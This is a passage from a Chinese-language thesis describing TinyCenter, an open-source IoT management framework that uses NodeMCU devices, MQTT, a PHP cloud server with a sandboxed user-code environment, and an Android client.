<p>本系统使用MQTT协议和WiFi技术在物与物之间建立联系[5]，可以节约人力物力资源，提升效率。通过将物联网系统接入云端，无论用户身处何方都可以快速地控制整个系统。同时还提供了Android端应用程序，方便用户对系统的控制和状态的查看。本文提出的物联网管理框架被命名为TinyCenter，是开源框架，实现了物联网管理系统所需的基本功能，同时进行了一些创新，如提供用户代码运行环境和提出了“类”的概念等，或许可以为以后的研究提供一些思路。</p>
<h2 id="现状与发展趋势">现状与发展趋势</h2>
<h3 id="国内现状">国内现状</h3>
<p>随着时间的推移，国内的物联网管理平台逐渐成熟[6]，国内提供物联网管理平台的有阿里云、华为云等，下面对它们进行一些简单介绍。</p>
<p>华为顺应物联网的发展浪潮，通过APIs开放、业务编排以及数据开放来使产品降低成本、缩短开发周期。同时提供面向人与物系列化的SDK，提供强大的通信能力，数据采集能力，设备控制能力以及实时交互能力，用户可以根据自己的产品需求快捷地申请和调用这些功能[7]。</p>
<p>阿里云物联网平台为设备提供安全可靠的连接通信能力，提供云端API，服务端通过调用云端API将指令下发至设备端，实现远程控制，物联网平台也提供了其他增值能力，如设备管理、规则引擎等，扩展了物联网平台的功能[8]。</p>
<h3 id="国外现状">国外现状</h3>
<p>国外的物联网技术也十分先进，目前排名靠前的有AWS、Google Cloud
IoT等，下面对它们进行介绍。</p>
<p>通过AWS物联网核心，设备可以连接到互联网，设备之间也可以交换数据。通过安全连接，可以在设备和云存储之间发送数十亿条消息，该平台支持各种通信协议，包括自定义协议，从而实现不同制造商设备之间的通信[9]。</p>
<p>谷歌云平台是另一个支持物联网解决方案的全球云提供商。云物联网核心是谷歌云物联网套件的核心，允许连接各种设备并收集其数据，谷歌云支持云发布/订阅，处理事件数据并提供实时流分析的服务，另外，谷歌云也支持云机器学习引擎，允许建立ML模型和使用从物联网设备接收的数据[10]。</p>
<h3 id="存在的问题">存在的问题</h3>
<p>经过研究与分析，发现目前市场上的物联网管理系统主要存在以下问题：</p>
<p>（1）几乎没有提供统一的数据内容监视及反应功能。如阿里云仅提供在线设备数量、上下行消息数量、设备网络状态等指标数据的实时监控功能，而没有提供数据内容的监控功能；</p>
<p>（2）没有提供用户代码运行环境，控制设备需要在服务器端预设动作，操作较为复杂；</p>
<p>（3）没有提供设备的分区管理功能，也没有明确区分公共设备和私有设备的能力；</p>
<p>（4）更多地应用于企业领域，价格较高，学习成本较高。</p>
<h2 id="论文组织结构">论文组织结构</h2>
<p>本文共分为六个章节，章节简要安排如下：</p>
<p>第一章绪论。主要介绍背景、研究的目的和意义、国内外现状及存在的问题；</p>
<p>第二章系统需求与总体设计。对系统进行了总体分析，包括总体框架设计、系统功能需求和相关技术概述；</p>
<p>第三章嵌入式设备的软件设计和实现。对中心控制器、辅助控制器和Client设备进行的软件设计展开描述；</p>
<p>第四章云端软件设计和实现。对云端的软件设计和功能进行具体描述；</p>
<p>第五章Android客户端软件设计。基于云端的功能对Android客户端的软件设计进行描述；</p>
<p>第六章功能测试。举出了几个实例，并对其进行了系统流通性和完整性测试。</p>
<p>第七章总结与展望。总结了完成系统过程中所做的工作，指出系统的优缺点，对课题对未来的研究方向和系统待提高的技术做出了展望。</p>
<h1 id="系统需求与总体设计">系统需求与总体设计</h1>
<h2 id="总体框架设计">总体框架设计</h2>
<blockquote>
<p><img loading="lazy" src="media/1c5283e096f1e1a3f2cbdbc211119593.png" alt=""  />
</p>
</blockquote>
<p>图 21整体结构框架图</p>
<p>整套系统的整体结构如下：</p>
<ol>
<li></li>
</ol>
<p>云端（Server，也称Cloud）负责收集来自公网中的指令（Order），将其发布给中心控制器；</p>
<p>2. 中心控制器（Center
Controller，CC）负责指令的转发和设备的分割管理，是类似网关的角色；</p>
<p>3. 辅助控制器（Accessorial
Controller，AC）负责管理一些固定设备（如屏幕、语音控制器等），同时也可以监控Client的状态和发布指令。AC可以使整套系统在无法连接到Server的情况下脱机运行；</p>
<p>4. 设备端（Client）负责连接和管理具体的嵌入式模块（如电灯等）。</p>
<blockquote>
<p><img loading="lazy" src="media/96c683b7d9865c98710f763eff3d83c1.png" alt=""  />
</p>
</blockquote>
<p>图 22指令发出与接受流程简图</p>
<p>当指令到达云端时，服务器端通过指令队列发布一个公告（Announcement），中心控制器会定期查看这个公告，并将该指令下载和分解，中心控制器会智能地选择指令的出口，即，选择将指令发送到设备端（Client）还是发送到辅助控制器。Client执行完成后会自动（强制）将完成后的状态信息返回给中心控制器，以即时地更新服务器端上的信息。</p>
<p>Client不能给其他的Client发送指令，但可以给辅助控制器发送特殊指令（Special
Order），以便控制屏幕的显示信息或其他。</p>
<p>同时，每个Server可以与多个Android
App、多台中心控制器连接，每台中心控制器可以与多个Client相连。每个中心控制器可以连接一个辅助控制器。</p>
<h2 id="系统功能需求">系统功能需求</h2>
<h3 id="中心控制器">中心控制器</h3>
<p>“中心控制器”（Center Controller）是云端与设备数据之间传送的桥梁。</p>
<p><img loading="lazy" src="media/96ecf102b17ebd044033844c975e94db.png" alt=""  />
</p>
<p>图 23整体结构示意图</p>
<p>如图示，一个TinyCenter系统中拥有多个中心控制器，每个中心控制器管辖多个Client设备和一个辅助控制器。</p>
<p>中心控制器需要向云端、辅助控制器和Client设备分别请求信息，将其分解后得到目的地址，并选择正确的路径将其发送出去。</p>
<p>配合设备选择器，中心控制器也可以提供设备的分区管理功能。</p>
<h3 id="辅助控制器">辅助控制器</h3>
<p>“辅助控制器”（Accessorial
Controller）可以帮助完成多数设备所共同期望的功能，并对它们进行汇总。辅助控制器提供了区分公共设备与私有设备的能力：与辅助控制器直接相连的设备为公共设备，而2.2.3节描述的普通Client设备可看作私有设备。出于安全性的考虑，私有设备之间不能直接发送信息，但私有设备与公共设备（也称辅助设备）可以。举例来说，辅助控制器上可以外接一个屏幕，该中心控制器所管辖的所有设备都可以在这块屏幕上显示自己的信息给用户，而不需要所有的client都自行安装屏幕，这样可以在没有服务器端的时候对所有设备的状态进行检查。</p>
<blockquote>
<p><img loading="lazy" src="media/2dfcaf9fccfb2a681c6581c037c31286.png" alt=""  />
</p>
</blockquote>
<p>图 24辅助控制器示意图</p>
<p>如图，辅助控制器可以连接多个辅助设备，如屏幕、语音识别、扬声器等。使用辅助控制器，多个Client设备可以共享一块屏幕、一个扬声器等，也可以使用一个语音识别模块进行统筹调用。</p>
<h3 id="设备client端">设备Client端</h3>
<blockquote>
<p>“Client端”又称设备端，可以简称为“设备”，与之前的辅助设备不同，Client端可以由服务器或辅助控制器直接调度，是最终接收指令的设备。</p>
</blockquote>
<blockquote>
<p>通过对指令的解析和修改justRunOrder函数，Client端可以完成的工作多种多样，但在指令执行完成后，设备端必须将其当前的状态上传至服务器端，使服务器端可以实时获得最新的数据。</p>
</blockquote>
<blockquote>
<p>在本文中，Client使用NodeMCU作为运行载体。只要遵循相应的数据传输协议，也可以使用其他类型的开发板。</p>
</blockquote>
<h3 id="服务器端">服务器端</h3>
<blockquote>
<p>服务器端实现的功能包括用户代码的执行、数据的监控和存储以及信息反馈等。</p>
</blockquote>
<p><img loading="lazy" src="media/61e8f7e2aecd9a4f8985f993ebc9e3ed.png" alt=""  />
</p>
<p>图 25服务器端的功能示意图</p>
<p>服务器端的整体结构如上图。</p>
<p>首先，服务器端实现了“基本数据表”功能，Client设备可以上传自己的信息到基本数据表，并对其进行修改。“数据监视器”在基本数据表被修改时检查之，若发现数据表中的数据内容符合某个条件，则自动调用SaferEval和Userlib并执行一段用户代码。</p>
<p>用户可以执行特定的用户代码，该代码为PHP语法。为了限制用户代码，禁止其执行某些危险操作，所有的用户代码都必须在SaferEval下调用Userlib执行。用户也可以自定义一些“快捷按钮”，按钮直接对应设备的驱动项。驱动负责将某个驱动函数翻译成设备的指令信息。Userlib还可以使用设备选择器，同时选择多个设备发出相同的指令，设备选择器配合中心控制器可以完成设备的分区管理。Userlib也可以使用设备驱动向设备发送指令。</p>
<p>发出的指令信息被存储在指令队列中。基本指令队列和串行指令队列共享同一个指令队列，但基本指令（也称并行指令）的id值为正数，而后者为负数。基本指令的执行顺序不确定，而串行指令会附带有明确的执行顺序的用户代码。在服务器中两者兼有时，抽取一条指令并发出“公告”的顺序不确定。</p>
<p>最后，服务器端支持日志系统和用户通知系统。前者可以用来记录系统中出现的各种错误信息，而后者可以被Userlib直接调用，向用户直接发送通知信息。</p>
<h3 id="系统android端">系统Android端</h3>
<p>Android端主要实现了信息的展示和发送。通过服务器端，Android端可以直接执行用户代码并发送指令。</p>
<p>Android端包括用户登录和信息展示和处理功能，可以获取设备、指令队列、监视器、日志和通知的所有内容，也可以发送一段用户代码。</p>
<h2 id="相关技术概述">相关技术概述</h2>
<ol>
<li><strong>NodeMCU</strong></li>
</ol>
<p>NodeMCU是中心控制器、辅助控制器和Client设备的载体。下图为NodeMCU模块[11]：</p>
<p>图 26 NodeMCU</p>
<ol>
<li><strong>ArduinoJson</strong></li>
</ol>
<p>ArduinoJson是嵌入式系统中优雅和高效的Json库，用于分解和组装JSON数据。它仅使用最基本的API，确保工作时消耗最小的内存空间。ArduinoJson可以应用在任何的C++项目中。TinyCenter嵌入式设备使用ArduinoJson分解和拼装各种数据。</p>
<ol>
<li><strong>PHP</strong></li>
</ol>
<p>云端使用PHP语言开发。PHP 是一种 HTML
内嵌式的语言，是一种在服务器端执行的嵌入HTML文档的脚本语言，语言的风格类似于C语言，现在被很多的网站编程人员广泛的运用。</p>
<ol>
<li><strong>MQTT协议</strong></li>
</ol>
<p>MQTT协议是一个基于客户端-服务器的消息发布/订阅（publish / subscribe
）传输协议，该协议的构建是基于TCP/IP协议的[11]。MQTT在该系统中运用在硬件和服务端进行交互，用户获取LCD显示信息，改变LED状态。服务端发布Topic，硬件端订阅Topic。使用主要使用了NodeMCU开源的物联网开发平台，集成了WiFi芯片ESP8266的最小系统板来进行开发[5]。在TinyCenter中，MQTT模块被使用来实现Client和中心控制器之间的信息交互。</p>
<h2 id="本章小结">本章小结</h2>
<blockquote>
<p>本章展示了TinyCenter的整体结构和功能，并对相关技术进行了概述。这些功能的具体情况将在之后的章节展开叙述。</p>
</blockquote>
<h1 id="嵌入式设备的软件设计和实现">嵌入式设备的软件设计和实现</h1>
<h2 id="中心控制器-1">中心控制器</h2>
<p>中心控制器是TinyCenter中信息传输的桥梁，可以同时沟通服务器端、辅助控制器和设备端（设备端将从MQTT订阅流获取数据）。同时中心控制器也有助于将设备分块管理，将某些指令限制在中心控制器内（详见4.5.3设备选择器）。</p>
<h3 id="总体设计">总体设计</h3>
<p>下图为中心控制器的内部实现，图中的中心控制器方框可以看作CenterController类。</p>
<blockquote>
<p><img loading="lazy" src="media/53c04399296dc7a951a09822d3cfdde2.png" alt=""  />
</p>
</blockquote>
<p>图 31中心控制器</p>
<p>可以看到，服务器端、辅助控制器和MQTT订阅流分别有一个沟通组件，分别为CloudHandler、AccessorialControllerHandler和MQTTHandler，分别负责将收到的数据进行收集汇总。服务器与中心控制器之间的信息传输通过TCP进行，而辅助控制器使用软串口；Client设备使用MQTT与中心控制器通信。ParseData模块负责将收到的JSON指令进行分解，并由CenterController选中合适的出口将数据传送出去。其中的digiMQTT是与MQTT订阅流直接沟通的底层模块，由MQTTHandler调用。</p>
<p><img loading="lazy" src="media/f1ca3adb8721407c58c68316e463dbf4.png" alt=""  />
</p>
<p>图 32使用CenterController类</p>
<p>在使用中心控制器时，需要定义DigitalmanCenterController类，可以设置一个AccessorialControllerHandler指针包含其中。</p>
<h3 id="模块parsedata">模块ParseData</h3>
<p>ParseData模块包含parseVCData函数和convertDigiDataToJson函数等，分别用来实现JSON的分解与合成。</p>
<p><img loading="lazy" src="media/ae552a089cb56e0b092ac18a05d964ca.png" alt=""  />
</p>
<p>图 33 JSON数据的转化</p>
<p>在中心控制器的ParseData模块中还规定了其唯一的Ccid。</p>
<h3 id="模块cloudhandler">模块CloudHandler</h3>
<p>CloudHandler模块负责与云端交换数据。其核心为httpGet函数，用于请求HTTP信息，以便获得服务器上的“公告”信息。</p>
<p><img loading="lazy" src="media/70d945ee0c6092f06f81f065865281c4.png" alt=""  />
</p>
<p>图 34获得HTTP信息</p>
<p>使用sendStatusToServer函数可以将一个DigiData数据（详见3.3.2.1节）发送到服务器。</p>
<p><img loading="lazy" src="media/07f381f38ac9e84549d9d5ec665c5435.png" alt=""  />
</p>
<p>图 35发送DigiData</p>
<h3 id="模块accessorialcontrollerhandler">模块AccessorialControllerHandler</h3>
<p>AccessorialControllerHandler模块负责通过软串口与辅助控制器交换数据。通过digiDetectVoiceOrder函数获取来自辅助控制器的信息，通过sendStringToAC函数将数据输送到辅助控制器。</p>
<p><img loading="lazy" src="media/094e8b05d29e2656c2948e326d2deeca.png" alt=""  />
</p>
<p>图 36辅助控制器控制模块</p>
<p><img loading="lazy" src="media/348730169143986ecc2d7a59f0d7d815.png" alt=""  />
</p>
<p>图 37检测软串口</p>
<h3 id="模块mqtthandler">模块MQTTHandler</h3>
<p>MQTTHandler模块包含一个digiMQTT模块，负责处理digiMQTT模块发回的信息，并控制其状态。使用handlePayload可以分解接收到的信息。</p>
<p><img loading="lazy" src="media/52302b5237ab995ae4fe2e3a3fd5665b.png" alt=""  />
</p>
<p>图 38处理MQTT消息</p>
<h3 id="类centercontroller">类CenterController</h3>
<h4 id="概述">概述</h4>
<p>CenterController类继承于ParseData类，同时统筹AccessorialControllerHandler、CloudHandler和MQTTHandler模块。</p>
<p><img loading="lazy" src="media/7c8c8932e65056e88a7c303d40bae0f7.png" alt=""  />
</p>
<p>图 39 CenterController类</p>
<p>函数workOnce会统一检测一次所有信息的入口并处理它们，需要在loop函数中调用它。</p>
<p><img loading="lazy" src="media/e2569ec44d478c3ef6aac60f9870eef9.png" alt=""  />
</p>
<p>图 310 workOnce函数</p>
<p><img loading="lazy" src="media/494017fd5f0a91ee77a201b047415710.png" alt=""  />
</p>
<p>图 311 Loop函数</p>
<p>在setup函数中，我们需要连接wifi，并使用startCCServer函数开启中心控制器。</p>
<p><img loading="lazy" src="media/6a89007f25408fb91fffc3ad5103e930.png" alt=""  />
</p>
<p>图 312 Setup函数</p>
<h4 id="可靠的快递员数据配送机制">可靠的快递员——“数据配送”机制</h4>
<p>数据配送机制是指，无论是设备端、服务器端还是辅助控制器，对于任何需要传输的数据，使用者只需要指定数据的内容和接受者，TinyCenter会自动选择数据的传送路径，并最终将其输送至正确的位置。</p>
<p>数据目标位置信息的确定需要数据中isorder字段的参与（参考3.3.2.1节）。若isorder=1，则该数据为服务器发送给设备端的数据；若isorder=0，则该数据为设备端返回给服务器端的状态信息；若isorder=2，则该数据为设备在操作基本数据表；若收到client发来的isorder=1的数据，则观察其intpara字段是否为特定值，以确定该指令是否应该传输给辅助控制器。</p>
<p>我们来看看数据的传送方向有哪些可能。</p>
<p>首先，服务器端-设备端，这是最常见的数据传输方向，服务器端需要向设备端发送指令，设备端需要向服务器端返回其状态和错误信息，设备端还会向服务器端发送请求进行改变其基本数据表等操作，这些操作的数据都需要途经中心控制器进行处理。</p>
<p>我们知道，在一个独立的TinyCenter系统中，可能存在多个中心控制器，每个中心控制器可能管辖着多个设备。为了知道设备的具体位置，在设备接入网络时，需要首先通过MQTT订阅流向中心控制器发送一条“上线信息”，该信息会包含设备当前的状态。中心控制器将该“上线信息”加上自身标识（CCid）后将其传输给服务器，最终该信息将会被登记在服务器上。当服务器需要向设备发送指令时，会自动抽取其CCid信息，在中心控制器向服务器请求指令时进行过滤（4.4.1节，表中的CCID项）。例如，2号设备目前被1号中心控制器管辖，该中心控制器请求指令时会附带其ccid（=1），服务器仅返回与该中心控制器有关的一条指令，再由中心控制器发送到与设备标识（clientid）有关的一个MQTT订阅流中，设备通过digiMQTT模块即可读取。</p>
<p>设备在返回值时，会将信息放入到MQTT流中，中心控制器读取信息后通过GET方式返回到服务器端。</p>
<p>其他的几条路径，如设备端-辅助控制器甚至服务器-辅助控制器之间的数据传输均由中心控制器的CenterController类将信息分拣并选择相应的出口传输，在此不再赘述。</p>
<h2 id="辅助控制器-1">辅助控制器</h2>
<h3 id="总体设计-1">总体设计</h3>
<p>辅助控制器最初被设计用来承载语音控制端。TinyCenter规定，Client设备之间不能直接传输指令，想要实现类似的功能必须通过Userlib和数据监视器，但辅助控制器可以直接接收和发送设备指令。辅助控制器与中心控制器通过软串口直接相连。</p>
<p><img loading="lazy" src="media/bcfb1c65d54f25f421791ce2fe44d553.png" alt=""  />
</p>
<p>图 313辅助控制器</p>
<p>图中的设备指的是辅助设备，与Client设备有本质的不同。如果将这些辅助设备看作某种资源，那么它们被该中心控制器下的所有Client设备所共享。</p>
<h3 id="信息的获取和发送">信息的获取和发送</h3>
<p>在辅助控制器的setup函数中首先进行软串口的安装。</p>
<p><img loading="lazy" src="media/32bd8ec85d80b80ed1f78c77ab2273e6.png" alt=""  />
</p>
<p>图 314 Setup函数</p>
<p>在Loop函数中处理要接收和发送的信息。</p>
<p><img loading="lazy" src="media/81b3a17bdd400a38f9da755375e7a2a9.png" alt=""  />
</p>
<p>图 315 Loop函数</p>
<p>如果存在要发送的指令，只需要调用entityVData函数，haveVoiceOrderToSend函数就会返回真值。</p>
<p><img loading="lazy" src="media/b79000ba65c7960fd3d745f0c6ff1a15.png" alt=""  />
</p>
<p>图 316 发送指令</p>
<p>在执行指令时，我们需要修改辅助控制器中的runOrder函数，原理与Client中的justRunOrder函数一致（参考3.3.2节）。</p>
<p><img loading="lazy" src="media/d5934c23ccb34d67963dbe6534958697.png" alt=""  />
</p>
<p>图 317 解释指令</p>
<h3 id="系统的离线运行">系统的离线运行</h3>
<p>上图中的“设备”是附加设备，与Client设备是不同的概念。辅助控制器可以连接的设备包括语音识别器、屏幕等，这些设备的资源被所有Client设备所共享。例如语音识别，通过辅助控制器实现的简单语音识别功能可以比服务器端更加快速高效。更加神奇的是，辅助控制器可以使得整个系统在脱机状态下运行，即使服务器端断网，也可以应急启动。</p>
<p>辅助控制器可以处理多个附加设备的信息，可以接收从Client设备传来的特殊指令，也可以通过中心控制器向它们发送指令。</p>
<p>用户可以选择连接或不连接辅助控制器，在不连接辅助控制器时，应当在CenterController类创建时，将辅助控制器选项置为NULL。</p>
<h2 id="client设备">Client设备</h2>
<h3 id="简述">简述</h3>
<p>Client设备是整套系统所最终操纵的设备，也简称作“设备”，是指令的最终接受者之一（辅助控制器也可以接受指令）。</p>
<p><img loading="lazy" src="media/540ec9f91f27bc7c6b07645cb6caa961.png" alt=""  />
</p>
<p>图 318 Client设备</p>
<p>如图示，Client中包含一个digiMQTT类，该类是与MQTT订阅流沟通的底层模块。在接收到指令后，convertData函数会负责分解指令，并将其交给runOrder函数运行。</p>
<h3 id="响应用户指令修改justrunorder函数">响应用户指令——修改justRunOrder函数</h3>
<h4 id="使用digidata类">使用DigiData类</h4>
<p>DigiData类用于存储分解后的数据信息，如下图：</p>
<p><img loading="lazy" src="media/926dced86824b2c2de9c882105bb1e70.png" alt=""  />
</p>
<p>图 319 DigiData类</p>
<p>其中isorder字段用于规定数据的类型，可以以此判断数据的流向，error字段为错误信息，ccid为参与数据传输的中心控制器标识，clientid为目标设备（或源设备）标识，intpara和str用于规定指令（或状态数据）的具体内容。</p>
<p>在Client设备中，有一个DigiData类型的全局变量myStatus，用于存储设备的当前状态。runOrder函数会在指令执行完成后自动上传myStatus的内容。</p>
<p>分解操作由parseVCData函数完成，将DigiData转换为JSON格式由convertDigiDataToJson函数完成，这两个函数的代码与3.1.2节类似，这里不再赘述。</p>
<h4 id="使用justrunorder函数">使用justRunOrder函数</h4>
<p>指令由runOrder函数进行具体执行，如下图。这里的广播指令功能暂未完成，isPrivate通常直接置为0，intPara为-2时，代表服务器仅仅是在请求设备的当前状态，isorder为负数代表该指令为串行指令（详见4.7节）。</p>
<p><img loading="lazy" src="media/7a4083d6d5ded5160a5fa9f15e2abce0.png" alt=""  />
</p>
<p>图 320 runOrder函数</p>
<p>runOrder函数会调用justRunOrder函数，该函数包含一个digiData参数，是收到的指令分解后的结果，用户的自定义代码可以自由地对指令进行筛选运行；之后会调用sendMyStatus函数强制返回设备当前的状态给服务器（sendMyStatus函数也需要调用convertData转换数据），以实现服务器与设备的状态信息同步。</p>
<p><img loading="lazy" src="media/f05857ff3fc10af9d684c51e3fd3604a.jpeg" alt=""  />
</p>
<p>图 321使用justRunOrder函数</p>
<p>如图示，若收到的指令中intpara值为1，则打开灯并通过辅助控制器在屏幕上写上“Light
on”字样，反之依然。若函数的返回值为true，则代表指令执行成功，否则返回false。该项会在返回信息中的error字段有所体现，在串行指令相关内容中会在之后具体阐述。</p>
<p>换言之，用户只需要修改justRunOrder函数，就可以实现对指令的分别执行。同时，使用setMyIntPara等函数修改设备等当前状态，使之与服务器同步；使用setDataTable函数可以对基本数据表进行修改和更新。</p>
<h2 id="使用屏幕一个应用辅助控制器的实例">使用屏幕——一个应用辅助控制器的实例</h2>
<p>我们在这里编写一个简单的实例，来应用辅助控制器的具体使用。我们需要达成的效果是，当Client设备执行完自己的指令后，向中心控制器发送一个特殊指令，动态地修改LCD屏幕（与辅助控制器直接相连）上的文字。</p>
<p>下图中的displayOnTheScreen函数在Client设备中定义，参考3.3节中justRunOrder函数中的内容（DISPLAY_ON_THE_LCD的值为-5）：</p>
<p><img loading="lazy" src="media/f9b72d6ebb8f3be0df70a55014ebc33d.png" alt=""  />
</p>
<p>图 322 displayOnTheScreen函数</p>
<p>修改中心控制器中的detectMessageFromClientsAndHandle函数，使之将数据正确转发：</p>
<p><img loading="lazy" src="media/59f5feca83399b7e9577982fc8f8a327.png" alt=""  />
</p>
<p>图 323 detectMessageFromClientsAndHandle函数</p>
<p>下图中的displayOnTheScreen函数在中心控制器中定义。为了处理该信息，我们需要在中心控制器中的AccessorialControllerHandler模块中自定义一个displayOnTheScreen函数，用于向辅助控制器发送屏幕显示信息。</p>
<p>函数displayOnTheScreen将intpara置为DISPLAY_ON_THE_LCD，可以直接使用AccessorialControllerHandler模块中定义的sendStringToAC函数将其转发到辅助控制器的软串口上。</p>
<p><img loading="lazy" src="media/69272d9777ba733949baa468a4c33e52.png" alt=""  />
</p>
<p>图 324 函数displayOnTheScreen</p>
<p>辅助控制器会自动解析收到的数据并将其转化为DigiData数据。在辅助控制器中，有一个runOrder函数（与Client设备中的justRunOrder函数功能一致），我们对其进行一些修改，使之能够识别从中心控制器转发而来的指令：</p>
<p><img loading="lazy" src="media/d5934c23ccb34d67963dbe6534958697.png" alt=""  />
</p>
<p>图 325 runOrder函数</p>
<p>其中的displayString函数负责将文字显示在LCD屏幕上。</p>
<p><img loading="lazy" src="media/86c83db7e96f7861264cff0eabdb78fb.png" alt=""  />
</p>
<p>图 326 displayString函数</p>
<h1 id="云端软件设计和实现">云端软件设计和实现</h1>
<h2 id="基本框架综述">基本框架综述</h2>
<p>云端是TinyCenter管理、处理信息的最重要的地点，承担着大部分的功能任务，是TinyCenter最重要的部分。</p>
<h3 id="综述">综述</h3>
<p>云端支持的功能包括用户指令、数据监控、数据存储和信息反馈等，分别由不同的模块完成。其中Userlib是云端的中枢模块，可以由用户通过SaferEval调用。</p>
<h3 id="设备信息的存储方式">设备信息的存储方式</h3>
<p>在TinyCenter中，设备信息被存储在服务器的digitalmandemo表中（这些信息多数是由设备的“上线信息”提供，见3.1.6.2节），包括唯一的设备标识clientid、所有者标识userid、名称name、设备描述clientdesc、状态信息、显示权限isDisplay、隶属的中心控制器编号ccid、类信息class_name、基本数据表信息data_table和快捷按钮信息buttons。</p>
<table>
<thead>
<tr>
<th><strong>名称</strong></th>
<th><strong>类型</strong></th>
<th><strong>含义</strong></th>
<th><strong>描述</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Clientid</td>
<td>Int</td>
<td>设备标识</td>
<td>每个设备都有一个唯一的clientID</td>
</tr>
<tr>
<td>Userid</td>
<td>Int</td>
<td>所有者标识</td>
<td>每个设备都有一个唯一的所有者Owner</td>
</tr>
<tr>
<td>Name</td>
<td>Text</td>
<td>名称</td>
<td>设备名称，由用户指定</td>
</tr>
<tr>
<td>Clientdesc</td>
<td>Text</td>
<td>描述信息</td>
<td>设备描述信息，由用户编写</td>
</tr>
<tr>
<td>Status</td>
<td>Int</td>
<td>状态信息</td>
<td>整型状态信息</td>
</tr>
<tr>
<td>Status_string</td>
<td>Text</td>
<td>状态信息</td>
<td>状态信息的补充，字符串类型</td>
</tr>
<tr>
<td>isDisplay</td>
<td>Text</td>
<td>显示权限</td>
<td>控制该设备可以由哪些用户查看</td>
</tr>
<tr>
<td>CCid</td>
<td>Int</td>
<td>中心控制器标识</td>
<td>指定该设备隶属于哪个中心控制器</td>
</tr>
<tr>
<td>Class_name</td>
<td>Text</td>
<td>类信息</td>
<td>指定该设备属于哪些类</td>
</tr>
<tr>
<td>Data_table</td>
<td>Text (JSON)</td>
<td>基本数据表信息</td>
<td>以JSON格式存储的基本数据表信息</td>
</tr>
<tr>
<td>Buttons</td>
<td>Text (JSON)</td>
<td>快捷按钮信息</td>
<td>以JSON格式存储的快捷按钮信息，对应的动作为设备的驱动项，这些按钮将可以在Android客户端中被用户直接使用。</td>
</tr>
</tbody>
</table>
<p>表 41 digitalmandemo表</p>
<h3 id="新设备的接入">新设备的接入</h3>
<p>Client设备在启动并接入网络时，会自动通过“数据配送”功能向服务器发送自身的上线信息，包括上表中的大部分内容。</p>
<p>一个以前从未接入过TinyCenter的设备尝试接入框架时，服务器会首先验证其权限。在被允许后，服务器会自动在数据库中插入该设备的信息，无需用户的手动干预。</p>
<h2 id="设备驱动">设备驱动</h2>
<p>使用设备驱动，用户可以从各种繁杂的数字代码中解脱出来，减轻其编写用户代码的负担。设备驱动系统可以将驱动函数翻译成具体的指令。</p>
<h3 id="指令的结构">指令的结构</h3>
<p>在TinyCenter中，“指令”一词代表一个整数变量（intpara）和一个字符串变量（strpara）的组合。通常在完成简单的指令如开、关灯时，我们可以将strpara置空，仅仅保留intpara项，但是在复杂场景中，可以将intpara置为指令的类型，再在strpara中进一步阐释。在TinyCenter中，我们一般只需要指定具体的指令值以及目标设备集合，“数据配送”机制会自动寻找数据的传输路径，并正确地将指令数据输送到目标。</p>
<h3 id="设备的类">设备的类</h3>
<p>有时，我们会希望同时管理多个类似的设备。它们或者有着一致或部分一致的指令结构，或者有一致或部分一致的基本数据表项。在TinyCenter中，我们用“类”来标识那些在某些方面特性一致的设备。</p>
<p>每个设备可以拥有多个类，每个类也可以标记多个设备，这些设备可以作为设备选择器的限制条件，在数据监视器和用户代码执行的时候被共同选择（详见4.5.3节）。</p>
<h3 id="设备驱动的含义">设备驱动的含义</h3>
<p>在TinyCenter中，“设备驱动”（Client
Driver）代表着一种对应关系。由于指令的内容一般比较抽象，如我们定义“开灯”代表intpara值为1，“关灯”代表intpara值为0，直接使用具体的指令值并不方便，因此我们可以使用一个“函数名”来代表指令。例如使用“open”代表intpara为1，“close”代表intpara为0。</p>
<p>设备驱动被存储在数据库的digi_drv表中，包含一个唯一的ID、函数名、整型变量intpara、字符串变量string_para、驱动所属的设备标识belong_to_id、所属的类标识belong_to_class以及版本信息version。</p>
<p>一个设备驱动函数对应着一条指令值。对于某个设备驱动函数而言，其必须对应一个intpara值，但指令中的string_para项可以预设或留空，也可以由用户指定。因此，设备驱动函数可以携带一个字符串参数，也可以不带参数。如果需要用户指定strpara参数，可以在设置驱动时将其string_para字段指定为“WAITING_FOR_SETTING”，在驱动执行时会自动将用户指定的strpara填充到生成的指令中。</p>
<h3 id="设备驱动的查找方式">设备驱动的查找方式</h3>
<p>设备驱动可以按设备标识（clientid）查找，也可以按类查找，因此，可以为多个设备指定某些相同的驱动项，例如在拥有多个相同的Led灯时，设备驱动中的“open”函数可以对应“Led”类，使得多个Led设备共享一个驱动项。</p>
<p>在查找一个驱动项时，为了查找结果的合理性和准确性，首先应该按设备标识查找，若找不到合适的结果，则继续按照类查找。在找到多个可能匹配的驱动项时，belong_to_id对应的项为最优先，其次为belong_to_class，最后选择最新的项，即version字段最大的项输出。</p>
<h3 id="快捷操作自定义命令按钮">快捷操作——自定义命令按钮</h3>
<p>在4.1.2节中，我们看到一个Client在服务器上的基本数据包括Buttons列，该列可以存储自定义快捷按钮。</p>
<p><img loading="lazy" src="media/7f77895b6147c5ef29058fe21f4ef2be.png" alt=""  />
</p>
<p>图 41 Buttons项</p>
<p>如图我们可以看到，该Client拥有两个快捷按钮，分别为“Open”和“Close”，对应的驱动函数为“open”和“close”，驱动系统会将其翻译成具体的指令内容并发送出去。快捷按钮的具体演示可以在5.2.1节找到。</p>
<p>除了name、func项，用户也可以定义string_para项对应驱动函数的stringpara参数。若没有该参数，则可以省略该项。</p>
<h2 id="基本数据表">基本数据表</h2>
<p>基本数据表用于设备各类信息的存放，服务器端的多种基本功能会围绕基本数据表展开。</p>
<h3 id="基本数据表的含义">基本数据表的含义</h3>
<p>在服务器端，每个Client设备都会拥有一个基本数据表，用于数据的记录或其他操作，基本数据表在Client离线时会继续保持数据。基本数据表的形式为K-V对，使用JSON格式存储，可以被Client设备更新、添加和删除，也可以被用户代码读取。</p>
<p><img loading="lazy" src="media/4e9146ecb5cc959aa8861c6e402bf8a1.png" alt=""  />
</p>
<p>图 42基本数据表</p>
<p>如上图，第一个设备拥有“ok”和“okx”项，下面的设备拥有“CTemperature”项，对应各自的数据。</p>
<h3 id="更新修改和删除">更新、修改和删除</h3>
<blockquote>
<p>在Client端更新基本数据表：</p>
</blockquote>
<blockquote>
<p><img loading="lazy" src="media/ee1e4c13622087c5c4ff050bbe2be3da.jpeg" alt=""  />
</p>
</blockquote>
<p>图 43更新基本数据表</p>
